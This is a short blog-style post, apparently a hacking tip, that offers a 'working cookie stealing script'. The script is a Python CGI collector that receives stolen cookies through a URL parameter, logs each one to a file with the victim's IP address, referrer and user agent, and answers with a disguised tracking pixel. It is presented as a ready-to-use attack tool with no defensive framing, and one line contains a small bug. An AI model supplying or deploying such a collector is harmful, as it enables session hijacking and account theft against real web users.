Wokring Cookie Stealing Script (python)
By: Santhej
By: Santhej
#!/usr/bin/python
import os
import sys
import cgi
import datetime
if __name__ == "__main__":
log=[]
log.append(str(datetime.datetime.today()))
# get the cookie from url?c=asdf
form = cgi.FieldStorage()
if form.has_key("c"):
log.append(form["c"].value)
else:
log.append()
# get some request info
log.append(str(os.environ['REMOTE_ADDR']))
log.append(str(os.environ['HTTP_REFERER']))
log.append(str(os.environ['HTTP_USER_AGENT']))
# save the log array
f = os.open("cookielog.txt",os.O_APPEND|os.O_WRONLY)
os.write(f,",".join(log)+"\r\n")
os.close(f)
# write response
sys.stdout.write("Content-Type: image/gif\r\n\r\n")
pixel = os.open("../images/pixel.gif",os.O_RDONLY)
sys.stdout.write(os.read(pixel,1000))
os.close(pixel)
sys.stdout.flush()
Now how to simply run a .py file:
http://mail.python.org/pipermail/tutor/2004-July/030634.html
No comments:
Post a Comment